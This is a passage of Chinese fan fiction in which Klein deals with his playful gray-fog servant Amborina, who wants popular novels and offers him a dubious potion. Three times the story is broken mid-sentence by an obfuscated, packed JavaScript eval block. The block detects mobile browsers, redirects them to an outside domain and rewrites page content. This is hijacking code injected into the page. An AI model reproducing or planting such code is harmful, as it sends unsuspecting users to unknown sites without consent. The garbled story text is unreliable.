根据他的观察,出于一些未知原因(很有可能是她的个人嗜好),这位灰雾女仆总是热衷于说各种怪话,一到关键时刻就秒变谜语人,还美其名曰是保护他。 克莱恩暂时不敢委托她处理任何重要的事情。 他有种来自于占卜家灵性的直觉!这看似忠诚,鲜活,甚至表现得有些过分无害的造物背后,隐藏的秘密恐怕比他想象的还要深。有了因斯·赞格威尔和封印物“008”的事件过后,他感觉到人和人之间的信任正在逐渐下降..... 当然也有可能是他自己疑心病发作,克莱恩默默地吐槽道。 不过他心里渐渐地形成了一个模糊的猜测:如果把这灰雾之上比作是一台巨大的超级计算器,或者是一个能够允许多方进行会谈登录的大型服务器。那么安波莉娜,或许就是一个意外诞生拥有了部分管理权限、却处处受限的智能助手。 而这个助手有点过于活泼了。有的时候甚至喜欢口头欺负只有序列7的主人取乐。 活化的封印物008案例曾经就摆在他眼前,他并不怀疑她就是那片灰雾的活化后的造物。尽管如此,他还是保留了几分警惕,暂时没有给她安排更多实质性的工作。 而安波莉娜最近过得也确实非常清闲,和她诞生之前没什么两样。毕竟她的主场是那充满灵性的世界,而克莱恩的舞台仍然是在现实。 但有一项“日常任务”正在安波莉娜严格的监管下! 克莱恩正在进行献祭。 按照她的嘱托,他正在分批次的,按时的,准时的把罗塞尔大帝的各种著作,通过献祭的方式,寄送给在灰雾上无所事事的安波莉娜。 此时此刻,晚上九点整。克莱恩结束了一天的工作。草草地用迪西馅饼和一些点心解决了晚餐,便在卧室用灵性材料和神秘学符号布置好了简易的祭坛。 献祭的对象也自然是他自己,“愚者”。而接受地点,毫无疑问是灰雾之上。 “这简直就像是神秘学意义上的快递发货...”克莱恩一边乐观地在心里吐槽了一下,一边快速念出指向愚者的尊名和祷文。 很快,他在灵性感知到,在遥远而无法被触及的高处,一所虚幻而宏伟的宫殿的大门应声敞开。他面前的那几本罗塞尔的著作瞬间消失,仿佛被无形之力吞噬。 紧接着,作为“确认收货”,那扇尚未完全关闭的大门之后,浓郁的灰雾溢出了些许。它们翻滚,涌动,迅速地开始凝聚。只消几秒钟,这团灰白勾勒出一个形状:拇指和食指顶端并拢,中间圈成一个圆。而另外三根手指向上舒展,呈现着一种肯定的信号。 ——那是一个巨大的表示“OK”的手势。 克莱恩:“.......” 克莱恩有点绷不住了。 对罗塞尔统一的手势消化这么快吗!你这学习速度也太惊人了吧! 克莱恩在心里疯狂吐槽。 不过,他也由衷地希望这些罗塞尔大帝的这些“文抄公”著作,可以暂时驱散安波莉娜无处安放的烦躁。毕竟书的内容还是好的...虽然作者名字早就被改得面目全非了。 然而平静的生活没有持续几天,异变就发生了。 * 他接取了著名大侦探艾辛格的联合调查委托。目标是一位正在贝克兰德无差别猎杀他人的连环杀手。而警方更是开出了高达2000金磅的悬赏。现在身上差不多只有100金磅可以随取所用的克莱恩非常可耻地的眼红了。当然!这也是为了贝克兰德的治安。 可想而知,未来几天将异常忙碌且充实。 这天早上,克莱恩醒来后,照例先是去浴室洗了把脸,试图用冷水的刺激冲淡那股刚醒的朦胧。 他看向镜中的自己——那张属于“夏洛克·莫里亚蒂”的脸庞。 廷根时期历史系男大学生的那份青涩,以及黑荆棘安保公司雇员的那种略带拘谨的机敏已经逐渐褪去。取而代之的是一种更深沉、更加锐利的目光。他刻意蓄上的络腮胡也积极地生长,为他增添了几分成熟侦探的老练气质。 就和大家去医院更喜欢秃顶的主治医师的原理一样,这更容易让人产生信赖感...... 看着镜中人,克莱恩不由得想起自己原本的那张脸,想到不得不隐姓埋名、更换身份的现状,却又苦于没有能随意变化面容的神奇物品,只能无奈地叹了口气。 不过等到晋升“无面人”的时候就好了。克莱恩只能这样在心里安慰自己。 就在这时,一阵及其细微,破碎且带着卡顿的咚咚声,在他的耳边响起。那声音虚幻又缥缈,仿佛来自另一个世界,又像是浴室里的沉重回音。 他第一反应是——水管要爆了?! 克莱恩猛地低下头,紧张地检查盥洗台的底部和连接处。厕所本来就密闭又潮湿,要是真爆了那还得了。如果是下水道的管道爆了,那就更让人崩溃了... 然而,水管完好无损,瓷砖干燥,这里的每一样家具都保持着原样,正常运行着。 他皱着眉头,屏息着再次倾听了一会儿。 那诡异的、虚幻的咚咚声又消失了。仿佛刚才只是他的错觉。 “搞不好是没睡够产生的幻听...”克莱恩一边安慰自己,一边走向餐厅那张小小的桌子。 他准备用烤吐司片再夹上几片香煎培根,抹点奶油,充当简陋版三明治,对付掉早上这一餐。尽管少了点生菜叶清爽一下整体的口感,但是他还是吃得津津有味。 【您在吃什么呢?】 ——一个清晰无比,仿佛调试好了的女声。毫无征兆地在他脑海深处响起。 “咳咳咳!!!”克莱恩险些把嘴里的培根直接喷出去。一阵撕心裂肺的咳嗽的袭来。他差点成为了第一个被早餐呛死在自家餐桌上的非凡者。 谋杀啊! 这还能有谁。和他联系紧密,带着一股独特的灰雾的气息。能够无视时间和空间的距离,直接在灵性中和他交流的。只有一个人。 他咬牙切齿:“安、波、莉、娜!” 他灵性的回响里,安波莉娜的声音变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506848|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 得更欢快了。 【在的,主人。您早上就吃这些吗?我觉得摄取的能量完全不够维持您作为一个健全的成年男性的活动量呢。饿死掉的话也太可怜了...】 虽然他早就隐隐预感到,安波莉娜那诡异的学习和成长速度,迟早有一天有可能克服障碍,直接地干涉到物质位面。但是距离他上次登上灰雾才几天呢?!就算打比方说她是个人工智能助手,那迭代升级的速度也太快吧! 【哎呀,我无意打扰主人您用餐。只是您忠诚又可怜的仆人不得不汇报一些紧急情况呢。】 克莱恩眼角抽搐,没有再试图进食:“你说。” 【您之前慷慨送来的书——罗塞尔大帝的诸多著作,安波莉娜已经全部、看过啦!】 她的声音变得欢快且戏剧化: 【什么你死了我死了我随你而去,什么你死了我没死我不甘心决定挖开你的坟墓,什么海上水手复仇归来、森林的妖精捉弄人类的爱情喜剧.......我已经、全部、都、看过啦!】 这几本书分别是进行了罗塞尔版本更新的:《罗密欧与朱丽叶》、《呼啸山庄》、《基督山伯爵》和《仲夏夜之梦》。少说都有上百万字了。 唉,这阅读速度真的太快了... 克莱恩一时之间不知道说什么,只好用沉默掩盖自己的心虚。 【但是主人,】安波莉娜的话锋一转,【大家都死来死去就是文学的永恒命题吗?退一万步来说,为什么故事里的主人公宁愿殉情,都不愿意去找死神途径的强者复活一下自己的爱人呢?】 【据我所知,就算不依靠强者或者真神。现在就连一些教会的高层都在尝试进行“人工生命”培育。理论上,培育出来个和原来大差不差的新身躯,再想办法把灵魂放进去,不就行了吗?这样一来,不但避免了死亡,还能美美地大团圆,完全就是好结局呀!】 ...这也太抽象了。 克莱恩面无表情地抽了抽嘴角。不知道她是怎么把复活、献祭、塞入灵魂这种事情说得像砍瓜切菜似的。 先不说从通俗的文学爱情作品里引入序列和途径,那不就相当于随时可以机械降神。再顺便把原来的爱情和家族的纠葛之间的矛盾,硬生生的扭转成了高序列强者之间的战斗! 那这还是《罗密欧和朱丽叶》吗?说不定其实是《罗密欧与朱丽叶之成神一战》了。这种玩意真的可以发行出来吗... 他脑袋里不由得蹦出个画面:高序列的罗密欧和朱丽叶在家族的阻挠下最终双双死去。不过不是在宁静安详中入土,用死亡反衬出仇恨的无谓。而是二人砰地一声,纷纷析出各自的非凡特性,散落一地。 他实在有点绷不住。 而后面那种的,什么人工生命培育,导入灵魂。听起来更是亵渎中的亵渎! 也不知道安波莉娜到底说的哪个教会,消息来源是否可靠。这听起来就像是《弗兰肯斯坦》的基本操作。最后这不死也估计半疯了吧! 不愧是灰雾造物。就连脑回路都这么清奇... “这就是普通人的故事。”克莱恩努力解释道,“他们想看的就是贴近自身,也许会发生在自己身边的某种故事。他们想看的是跌宕起伏的情节、对命运无常的感慨和人类的反抗,不是什么神秘学大家族的秘辛。” 【啧。】 灵性的回响里,传来了一声相当清晰的咂嘴声。 ...还敢啧啊! 克莱恩有点头痛,他摁了摁自己的太阳穴,努力维持镇静:“所以呢?安波莉娜。你今天的目的只是为了批判一下罗塞尔的著作或者咂嘴?你的基本诉求是什么?” 他甚至用上了诉求这种专业的词汇。 安波莉娜的声音突然没有了反应,像是在沉思。 等克莱恩等了几分钟,发现她好似掉线般沉默。他最终还是食之无味地结束掉了自己的早餐,避免再度发生悲剧。 等他把盘子放进水槽后,她的声音再次响起了: 【我想想啊...安波莉娜想要阅读更多的书!不是死了快几百年的人的经典著作,也不是刻薄古板的教会典籍。而是更加通俗的、更加流行的,这个时代的人所著的书籍。】 哎哟,你怎么还挑上了! 克莱恩快气笑了。 5. 文学讲坛 “我不会给你买的。”克莱恩说。 “我现在忙着晋升,身上可流动的资金有限。你也不想让别人知道你侍奉的古老存在其实还没到序列6吧?”克莱恩又说。 “既然经典文学让你觉得没趣。那么流行的通俗小说对你来说也不会有太大的区别。”还是他说的。 ...... 半小时后,克莱恩屈辱地走进了一家书店。 原因无他,安波莉娜一直在他脑海里嚷嚷。 “不买就不买!”她听起来像个幼稚的小孩,故意说着气人的反话,“哈哈,比起书。我更喜欢一天二十四小时寸步不离地看着您吃饭、睡觉、上厕所、被人追杀...那种谨小慎微又焦虑的样子才是您最有魅力的地方呢☆” 她是不是一瞬间说了什么不得了的话? 有那么一霎,克莱恩开始怀疑起了自己的耳朵。不过好在他已经习惯了安波莉娜的说怪话模式了。他决定忽略一些细节,装作什么都没有听到。 原来她在灰雾上的时候一直在兼职活体斯托克。他早该想到的。还是最坏心眼的那种。 克莱恩最后还是决定前往书店。 他并不讨厌读书,在当下这个拥有马术、俱乐部、赌马等等诸多娱乐的时代,依赖传统纸媒的阅读依然是少数能雅俗共赏的消遣。他时不时的也会购置一些书名有趣的读本或者贝克兰德小报,拿来当厕所读物..... 早上十点,大部分的商铺已然开门营业,奶制品、蔬菜、水果。连环杀手的传闻并没有打消大家对于生活的积极性。 克莱恩特地绕了远路,乘坐马车前往去了位于皇后区边缘的最大的二手书店“智慧之声”。 选择这里,这不仅仅因为是听说皇后区的书店规模更大、品类更齐全,甚至一些书店特地设置了二手区,价格也更加公道。同时,这也是为了避开平时他经常去那些位于乔伍德区的书店。 他实在不想被哪位熟人、同行侦探或者房东太太看到,激动地拍他的肩膀大声调侃:“哎呀!夏洛克!真没想到你这种留着络腮胡子的硬汉侦探,也藏着一颗渴望浪漫的心呢!” 一旦这个独立独行的侦探身份有了破绽,等他被某人安排到相亲晚宴的时候,那真的已经晚了。 侦探的人设已经很难凹了,维持冷峻、可靠的硬汉派侦探的形象更是难上加难。 说实话,他全靠着占卜、灰雾、手杖寻人还有诸多超凡能力才勉强撑起场面,没有辱没“夏洛克”之名,解决了不少案子。此时此刻,在调查出连环杀手案的凶手之前,再给这位侦探增加一个“忧郁多情的浪漫小说爱好者”标签,绝对是毫无必要的。 于是,夏洛克·莫里亚蒂先生,穿着正装,头戴半高丝绸礼帽,手拿漆黑手杖,以一种从容不迫的沉稳姿态走进了“智慧之声”二手书店。 他努力地降低自己的存在感,试图把自己伪装成一个贝克兰德大街上随处可见的、品味高雅的鲁恩绅士。 一位年轻的女店员正在给书架上新书,见这位绅士进门,立刻笑吟吟地放下手中的活计,准备上前。 克莱恩一想到自己此行的真实目的,老脸一热,连忙抢先一步,矜持地挥了挥手。他礼貌且疏离地说:“谢谢,我自己看看就好。”最后成功阻止了店员的靠近。 他故作深沉在高耸的书架之间缓缓踱步,努力做出阅书无数的行家的模样。然而,他的内心远不如表面上那般平静。 安波莉娜的声音一直在他脑海里一直没有停过,不停指指点点。 “呃,那本连书脊都烫金的书是什么?”她的声音里有点嫌弃,“看名字...好像严肃文学啊。我不要看严肃文学,看多了我会死的,真的会死的。就像老鼠误食老鼠药一样,立刻毙命。” ...那你作为神秘学造物也太容易被消灭了吧! 克莱恩伸向旁边一本书的手微微一顿,转而移向书架另一侧。 “我也不想看鲁恩法典和各大教会的典籍!不管怎么样翻来覆去都是那些重复的教义,我真的没兴趣。请不要试图教化我!”安波莉娜的声音有点激动,“还有那本什么《罗塞尔选集(青少年插图版)》,我也敬谢不敏。请恕我严肃拒绝,主人。我和那些可悲的青少年完全不一样!我看书不需要任何审查和引导!我需要更加激情的、激烈的、触及灵魂的读物!” 克莱恩无声地叹了口气,放下手中刚拿起的书,认命般继续前进。 他嘟囔:“那你究竟想看什么呢?说得确切一点。” 她的声音停滞了一会儿,似乎是真的在认真思考。 “我想看低俗...不是,我的意思是,通俗一点的。有多通俗就多通俗的那种。”安波莉娜的声音雀跃无比,“左边!去左边!主人。我看到那边的书的封面都是花花绿绿的,想必内容也是丰富多彩的!” 好疲惫。好痛苦。 一想到这个灰雾造物他脑子里正在大声叫嚷“我要看有颜色的书”,克莱恩心中就浮现了淡淡的死意。 他感觉自己就在这一瞬间苍老了二十岁。 他不知道该怎么向她解释,世俗意义的正规“书店”其实没有那么多她所期待的带颜色的书。那些浅尝辄止的描写只是为了叙事服务。 那些真正意义上的奇奇怪怪,内容惊爆的读物,大多被列为“禁书”,其流通往往依赖于某些隐秘的聚会,见不得光的地下渠道。或者遵循某种小圈子的内部规则,大家心照不宣地相互传阅模式。 但是那样安波莉娜绝对会大声叫嚷让他立刻转身,去最近的黑市的。 克莱恩明智地选择缄默不言。 “?” 见他半天没有迈步,安波莉娜又急切地催促了起来。 克莱恩摇摇头,认命地走进了畅销小说区。一眼望去,贝克兰德的出版业确实发展得很好,不愧是首都。各式各样的小说排排堆叠。其中封面的烫金、烫银、浮雕工艺更是五花八门,层出不穷。 在黑夜教会和其他的一些组织的推动下,当下的文坛并不如他所在的世界的19世纪那么排斥女作家。她们无需借用自己父兄的名义或使用男性笔名便可以发表作品,也极少会被出版社因为性别问题而拒之门外。 随之应运而生的,便是各种题材广泛,销量惊人,深受各类读者群体欢迎的浪漫主义作品。 但是有那么一瞬间,他困惑地走到书架前的一个隐秘一角。那里似乎也囤放着几本二手书,但不同于其他,它们被帷幕遮遮掩掩,就像是前人特地留下的宝藏。 克莱恩困惑地从角落里抽出一本,翻开了第一页。 克莱恩合上书。 “我的天呢。”他喃喃自语。 “有什么不对的地方吗?”安波莉娜问。 这到底是什么啊—— 他似乎是怀疑自己看书的姿势不对,深吸一口气后又重新翻开。 不过书的内容没什么变化,上面赫然写着:“...他看着自己微微隆起的小腹,心中仍有诸多不甘,作为大公爵的骄傲和自尊仍在不停地刺痛他。但孕育一个生命的狂喜一时之间冲淡了他对她的愤怒。他远远地看着她,嫉妒、憎恨、喜爱交织在了一起。这是那个女人的孩子,这是这场禁忌之恋的开端...” 克莱恩颤抖着看着书名,每一本都出自不同的因蒂斯女作家之手:《伯爵夫人的秘密情史之大公爵带球跑》、《冷面枢机为我洗手作羹汤》...... 一时之间,他真的不知道该说什么。 有什么问题吗?问题大了! “我超......”克莱恩的内心一片混乱,忍不住在心里说起了家乡话,“因蒂斯的女作家们的思想也太超前,太开放了吧?!罗塞尔你在位期间到底做了些什么啊!这就是你开启的时代?!” 安波莉娜的声音却没什么起伏,似乎对他的震撼感到由衷困惑。 她娓娓道来: “这不是很寻常吗?罗塞尔的诸多巨作极大的带动了整个北大陆人民的创作欲望。自那个时代开始,许多作家都开始揣摩、赏析他的作品,思考他到底是如何在当下的时代背景创作出来这些多元又引人入胜的作品。” “创作的第一步就是模仿。人们发现自己无法完美复制罗塞尔文中的思想,选择了另外一条路。经过百年的沉淀与发展,在加上因蒂斯的信仰多元。还有比较开放,相对包容的社会氛围。于是就诞生出这种深度讨论个体情感,颠覆传统社会构成的书籍。” “——这不是很自然的事情吗?” 哪里自然了?! 太恐怖了。太可怕了。 因蒂斯共和国和真是恐怖如斯..... 克莱恩完全不知道该怎么告诉她这种超前又抽象的书名,理论上不应该出现在这个时代。他摇 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506849|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,继续飞速浏览着手上的书:“所以到底是什么思想,让他如此独特?” “谁知道呢。”安波莉娜听起来也兴致缺缺,“也许是因为他不尊重神明?故事里的神明几乎发挥不了什么作用。” 她想了一会儿,努力地搜挂着当下流行的词汇:“比如把神明的存在当做‘背景板’之类的?大部分书都在竭尽全力描写人与人之间的故事。” “所以罗塞尔出名是因为他不尊重神吗?”克莱恩忍不住吐槽,虽然知道答案并不是这个。 “也许吧。” 安波莉娜似乎对罗塞尔真的没什么兴趣。草草结束了话题。 克莱恩继续浏览着。 虽然早有所耳闻因蒂斯整体社会风气开放,再加上罗塞尔这么一个神奇的人类从天而降,但是也没想过文坛会进化成这个样子。他甚至开始怀疑这又是哪位穿越者前辈留下的彩蛋。 罗塞尔的文风多变,写作角度刁钻?那肯定的啊!因为他根本就不是自己写的。从文艺复兴作家抄到近现代作家,每隔几年就发表一本名著,文学家们能研究出来什么创作规律才有鬼了。 不过换个思路想想,也许是因为这个世界独特的正神、邪神体系,以及那些能让人意外怀孕的奇奇怪怪的邪灵诅咒存在,给了人们一种一视同仁的启发。再加上她所说的诸多因素,相互影响,相互推动,最终演变成了...嗯,大公爵带球跑。 好像,也不是完全说不通? 他收起大惊小怪的心态,告诉自己:这也是文学创作而已,一切皆有可能! 克莱恩又缓缓地打开另外一本《冷面枢机为我洗手作羹汤》。 看到“枢机主教垂泪泣涕在厨房里烧菜”的段落,克莱恩再次合了上书。 ——大公爵和教会真的不会找上门来吗? 克莱恩摇摇头,却注意到书的前言就叠了诸多的甲:什么本书仅为虚构,文中任何人名国家名地名组织名皆为虚构,文艺创作需要,请勿代入真实地点,等等等...嗯,如果不是因为这些书都不是出自同一人之手,他都要怀疑这个世界真的又出现穿越者了。 他又随便翻了翻,发现只有标题和部分情节比较震撼。大部分的场景构建还停留在这个世界本身的生产力水平。没有什么特别的记号。他呼出一口气,放松了一点,确认这应当不是某位穿越者的玩笑。 沉寂了许久的安波莉娜却突然出声:“等等,先别翻页,我还没有看完刚刚那里!” ...原来你已经看了起来啊! 克莱恩的声音里透露出一丝绝望:“你的意思是?” 和他的状态截然不同,安波莉娜听起来笑嘻了:“可以买这个吗?我至高无上的主人。我想读这个~” 克莱恩沉默了。 答应了孩子的事情,总得做到。 他不想成为那种不守信用的家长!哪怕安波莉娜只是一个看起来天真无邪的灰雾造物...... 他看了看手上的书,又看了看从刚才就一直盯着这里的店员。深吸一口气,迅速从旁边的书架上随手抓了几本《格斗技巧入门》、《格斗技巧进阶》。又在收银处抓起一本《贝克兰德日报合订本》,欲盖弥彰地压在最上面。 他强忍着因为社会性死亡而非凡特性析出的痛苦,故作镇静地结账:“就这几本。” “您真的很有眼光。”店员熟练地接过书开始计价,她压低声音,“这几本都是非常畅销的二手书。不过因为内容特殊,不方便公开陈列。只能在角落里等待有缘人呢.....” 闲聊文化真的很糟糕。 他开始怀念故乡的自助收银台了。 克莱恩盯着脚底的地毯花纹,感觉它们无比的美丽,他干笑两声:“哈哈,是吗?我给我孩子买的。年轻人吵着要看。” 店员没有再多说,只是接过克莱恩递过去的钞票。微笑着摇摇头,露出一个“没事的我都懂”的笑容。 ...你都懂了什么啊!不是你想的那样! 他彻底无言了。 最后,店员细心地用纸袋把那几本书包装好,甚至还系了个漂亮的缎带蝴蝶结。她声音柔和,却让他听得心惊肉跳:“如果你还需要其他的同类型的书,我们还有一份隐藏书单,只对特定的顾客开放...” 克莱恩没有再说话,他一把抱起纸袋,头也不回地冲出书店,落荒而逃。 6. 邪恶仆役 当天晚上,克莱恩照常进行了献祭仪式,动作麻木地将那几本新购置的书送了上去。 他检查了一下自己的日程表,发现今晚确实也没有别的什么安排。于是习惯性地走进盥洗室,逆走四步。 再度睁眼闭眼,他已经置身于那恢弘的殿堂之上。 他端坐于高背椅上,朝着辽阔的灰雾望去—— 果不其然,安波莉娜已经沉浸在了她的阅读中了,这似乎已经成为了她唯一消遣时间的方式。 置身于这庞大,看起来近乎永恒不变的空间,除了偶尔上来的他,再没有其他任何存在能和她对话,那究竟是怎样的一种感觉呢? 想到这里,克莱恩心中瞬间产生了些许的愧疚。 不过这瞬间因共情而产生的怜悯就像闪烁的火星,立刻被他掐灭了:怎么会有员工过得比老板还悠闲呢! 此时的安波莉娜,正以一种极度放松的方式轻飘飘地浮在半空中。 她身体舒展,像是被一双无形的巨人之手托举而起。那身的古典长裙的裙摆也因为她的动作缓慢地、上下地浮动着。她周围的气氛也极度放松,就差准备一篮小零食了。 她全神贯注地看着手里那本炸裂的《伯爵夫人的秘密情史之大公爵带球跑》,时不时对情节发出一些感慨:“这才第几章啊?怎么子爵就迫不及待地在花园的小石子路上膝行,跪求伯爵夫人的原谅了?人类的圆形膝盖明明是拿来支撑站立的,又不是拿来滑行的,蠢死啦.....” 克莱恩:“.....” 他想起今天白天买完书后,他在整个东区到处东奔西走,最后又跑到码头探查风向,来回调查取证,累得像条狗,顿时觉得真是人各有命。 他压下吐槽的欲望,用力地干咳了三声。 在这辽阔而空旷的空间,这灵性的回响显得格外悠长...和刻意。 安波莉娜微微侧头,“咦”了一声,仿佛才注意到他的存在。 她轻盈地解除了漂浮的状态,像一片羽毛一样悄无声息地落在灰雾上。她微微屈膝,行了个非常标准的礼,露出一个甜腻的笑容:“晚上好,主人。能见到您毫发无损的活着回来、甚至还有力气咳嗽,真是太好了!” 他的嘴角忍不住抽搐一下:“......为什么我听着总觉得这不像是什么好话?” 安波莉娜的笑容不减:“是您太焦虑、多疑啦。当然,这也是您的魅力点之一。” 随后,她像是想起了什么。从身后掏出了那几本小说,语气轻快地汇报道:“您慷慨送上来的书籍,我已经拜读得差不多了!如果您需要更加深刻的读后感的话,我现在、立刻、马上就可以口述一千字!” 还是算了吧......克莱恩想起那炸裂的剧情,艰难地把这几个字咽了回去。 他转而想到:“是时候让她干点正事了?虽然不能托付什么太重要的工作,总不能让她一直白看小说优哉游哉地度日...” 还未等他开口,安波莉娜的表情却突然变得异常认真! 她好像想到了什么,猛然扎进身旁翻涌的灰雾里,双手开始急切地翻找了起来。 “对了,主人!经过我这几天刻苦的阅读和学习!安波莉娜已经认识‘回礼’这种行为的必要性了。” “您已经给予了我珍贵的名字,还有这些充满趣味书籍。作为一个有礼貌的仆役,不可能对这份善行置之不理!”她顿了顿,充满激情地说,“现在是时候让我来报答您的恩情了!” 她到底要干什么... 克莱恩看着她被雾气淹没的身影,抽动嘴角,心中涌现出了非常不祥的预感。 “我的‘那个’呢...奇怪。明明上次就放在附近的...”她埋头翻找,整个人的轮廓在灰雾里都虚化了起来。她低声喃喃自语,“上次不是还当成毯子盖着吗,到底去哪里了.....” 毯、毯子?! 什么意思?他不在的时候,这家伙难道还要盖着毯子睡午觉吗。太诡异了吧! “安波莉娜。”克莱恩忍不住拔高声音追问,“你在找什么?” “呃。就是一种,嗯,很厉害的,可以让您‘咻’的一下子升到序列1的魔药...之类的玩意?” 安波莉娜头也不抬,整个人已经被翻腾的灰雾淹没了。他只能看到她的鞋跟在灰雾里涌动。 什么玩意啊! 一下子升到序列1?! 到底是什么东西这么逆天?克莱恩差点惊掉下巴。 序列1到底是什么层次,他完全不敢想。天使?听起来像是在说梦话。 他回想起自己从序列9一路爬到序列7,花费了多少时间,金镑,甚至经历了好几次生死危机(顺便还诈尸了一次)。怎么会有一步登天,直接晋升到序列1的魔药?而且那应该是什么形态?他完全想象不出来。难道是把序列9到序列1的材料不分青红皂白,熬成一锅粥大乱炖,最后直接喝了吗?完全没道理啊! 太怪了..... 他看着安波莉娜的背影继续在苦恼地翻找中,装作极其不经意地试探道:“直接到序列1?” “理论上是这样的啦...”她似乎有点心不在焉。 “真有那么神奇的物品?服用者不会当场失控、疯掉、或者直接爆炸吗?” “疯掉?失控,爆炸?”安波莉娜停止了翻找,回头看向他,语气充斥纯粹的困惑和不解,“疯掉就疯掉吧?我觉得当下,在如此危机四伏的贝克兰德,变强才是最重要的...哎呀,也不是什么大不了的事情。疯掉也能活的啦。” 她顿了顿,随即甜蜜地补充道:“哪怕您是炸成碎片了,安波莉娜也会努力地把您拼起来的,别担心!” 卧槽。 有毒妇啊。 克莱恩被她这番冷酷无情的言论惊得目瞪口呆。什么叫疯掉就疯掉,死了还能拼起来。好残忍的神秘学造物。 他真的开始怀疑她对于忠诚的定义了! 不过,安波莉娜停下了徒劳地翻找,叹了口气。 她看着空空如也的掌心,脸上露出非常纯粹的悲伤:“对不起,主人。我好像找不到了...应该是我哪次午睡的时候乱扔乱放,掉去其他地方了...大概。” 真的是你午睡用的毯子啊?! 到底是什么材质毯子能这么恐怖。亚麻绵布和金羊毛混纺吗?! 克莱恩感到一阵深深的无力,但是理智告诉他,绝对不能鼓励她,不然下次说不定会有更吓人的事情发生。 “没关...” “请您放心!”她双手握拳,打断了他的话。“我今天一定要回报您的恩情!这是我的准则!” 似乎错把他难言的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16506850|186102||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 表情理解为了失望,她瞬间转移到了灰雾的另外一块区域,再次翻找起来。 “呃,让我看看,主人现在是序列7...嗯、序列6的魔药,在哪呢,在哪呢.......” 这也太有干劲了..... 克莱恩几乎无言地看着她又翻找了起来。那句“不必了”卡在了喉咙上。 “啊!找到了。”安波莉娜突然从角落里站了起来!“序列6的魔药!请用!” 她像变戏法似的,从那除了灰雾空无一物的地方掏出来一个小瓶。 搞什么,这片灰雾难道还藏了不少好东西吗?只是他一直没发现?不应该啊。 克莱恩随着她的视线看了过去。 那瓶身晶莹剔透,符合所有人对于神秘的“魔药”的想象。它里面荡漾着一种非常难以形容的液体。那液体的光泽,时而是波光粼粼的粉色,时而又变成摇曳闪烁的紫色。 仅仅是这样注视,他就感觉到一股诡异的、甜腻的气息,这甘美的气味好似要腐蚀掉人的大脑。 安波莉娜瞬间又转移到了他身前的长桌上。 她非常有礼貌地将小瓶双手奉上,双眼写满了真诚。 ...真是序列6的魔药啊? 他讶异地张开嘴,接过那瓶魔药,在手中掂量了两下。属于占卜家的直觉告诉他,这确实是序列6的魔药不假,货真价实。 他陷入了短暂的沉默。 谢谢,但是......? “安波莉娜。”克莱恩谨慎地开口,“这份礼物非常的珍贵。我很感激。但是,它是从哪里来的?” ... 这一问好像戳中了她的某种痛处。 安波莉娜顿时眼神飘忽,声音游移不定:“呃呃,到底是从哪里来的呢...嗯,从哪里来的呢...” “安、波、莉、娜。”他加重了声音,试图在这对话里注入权威。 “好嘛!”她脸上的笑容瞬间垮了下去,好像这里唯一的坏人就是克莱恩,“怎么说呢,就是哪一天。好像有个低序列的非凡者,不知怎么的,在灵界暴毙了...然后呢,就那样啦!残余的非凡特性就在那原地不动...然后我也许,又‘咻’的一下把它吸上来了?” 克莱恩听得眼皮直跳。 什么“咻”的一下啊。你是吸尘器成精吗!还开了自动拾取功能?! 灵界、咻的一下吸上来。这些看起来毫不相干的词汇在她的口里汇聚在了一起。他想说点什么,却选择了沉默。这瓶魔药已经不止是可疑了。他看着手中玻璃瓶里那甘美而致命的颜色,心中徒然升起一个想法。 “好吧。”克莱恩假装平静,“谢谢你的礼物。” “我能问一下吗,它到底是哪个途径的序列6魔药?” 安波莉娜哈哈一笑,挺直了腰杆,看起来非常骄傲。 她毫不犹豫地回答:“魔女。” ......? 仿佛是担心他没有听清,她立刻压低声音,非常真诚地补充:“是序列6,欢愉魔女哦!” ....... 克莱恩张嘴又闭嘴,感觉自己彻底虚脱了。 “拿走吧。” “诶诶,可是,为了变强?” “拿走吧,我真的不会喝的。” “不要这样子嘛——” 7. 推理时间 无垠,寂静的灰雾。两道身影相对,一位站着,一位坐着。 一场关于魔药的最终去向的口头对决终于宣告了结束。 克莱恩花了很大的力气,才成功向她解释清楚了他的观点:“我对我现在的性别和途径很满意。暂时、并且有可能永久都没有喝这个魔药的意愿。真的非常感谢你的好意。” 那瓶闪烁着可疑粉色光辉的魔药,此刻已经被他丢去了灰雾更深处。层层叠叠的浓郁雾气正在努力地掩盖那甜腻的气息。 他本想抱着“有都有了,还不如拿去塔罗会上换钱”的心态。但是一想到自己从廷根开始,自己接触到的魔女就没有一个是善茬,他就莫名有些汗颜。而这个售卖行为,他瞥了一下安波莉娜,还莫名其妙有种大人抢小孩玩具的错觉..... 